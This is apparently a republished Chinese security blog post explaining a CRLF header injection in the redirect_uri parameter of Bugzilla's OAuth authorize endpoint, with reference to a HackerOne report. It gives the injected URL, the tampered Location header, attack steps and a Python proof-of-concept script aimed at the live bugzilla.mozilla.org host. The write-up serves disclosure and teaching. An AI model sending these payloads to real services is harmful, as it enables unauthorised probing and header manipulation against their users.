通过敏感参数所实现的CRLF注入
2024-8-28 21:34:12 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

正文

正常请求:

https://bugzilla.mozilla.org/oauth/authorize?client_id=someClientID&redirect_uri=https://example.com&response_type=code

在正常情况下,redirect_uri是一个合法的URL,服务器会在用户授权后将用户重定向到该URL,同时附带授权码。

攻击后的请求:


https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code

在攻击场景中,redirect_uri参数包含了CRLF字符(%0d%0a),它在HTTP头部中起到换行符的作用。服务器在处理这个请求时,会将CRLF之后的内容(例如xxx:something)解释为一个新的HTTP头部字段。最终的HTTP响应可能如下:

HTTP/2 302
...
location: xxx: something?error=invalid_scope

在这种情况下,location头部被修改为xxx: something?error=invalid_scope,这可能会引发不预期的行为或进一步的安全问题。

攻击流程

步骤1:构造恶意URL 攻击者首先对redirect_uri参数添加一个恶意的URL,其中包含CRLF编码(%0d%0a),例如:

https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code

步骤2:发送请求

攻击者将这个恶意URL发送给目标服务器。由于redirect_uri参数中的CRLF,服务器在解析时会将xxx:something识别为新的HTTP头部字段。

步骤3:服务器解析并生成响应

服务器根据这个恶意的redirect_uri生成HTTP响应。由于CRLF的注入,服务器错误地解析并生成了不符合预期的HTTP头部,导致location字段发生变化。

步骤4:客户端接收并处理响应

客户端(如浏览器)收到服务器的302重定向响应,并按照被篡改的location头部进行重定向,可能导致用户被引导到一个恶意或不安全的页面。

示例代码:

import requests

# 构造恶意请求URL
url = "https://bugzilla.mozilla.org/oauth/authorize"
params = {
    'client_id''',
    'redirect_uri''\r\nxxx:something',
    'response_type''code'
}

# 发送请求
response = requests.get(url, params=params)

# 打印HTTP响应头
print(response.headers)

\r\n代表CRLF字符(Carriage Return + Line Feed)。

xxx:something是注入的伪造头部,服务器将其解释为一个新的HTTP头部字段。

最终,客户端接收到的响应中,location字段会被伪造,并指向恶意或非预期的目标。

通过这些步骤,攻击者可以对响应进行某种程度的控制,影响客户端的行为或进一步利用这一漏洞进行攻击。

参考

https://hackerone.com/reports/2147132


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495648&idx=1&sn=f4f2ae71c08c775c9c958507a784c223&chksm=e8a5e583dfd26c95db6d8095bad71d0e055a8c0ccb993ce388fd6c51d80577bba6cd3bd9652b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh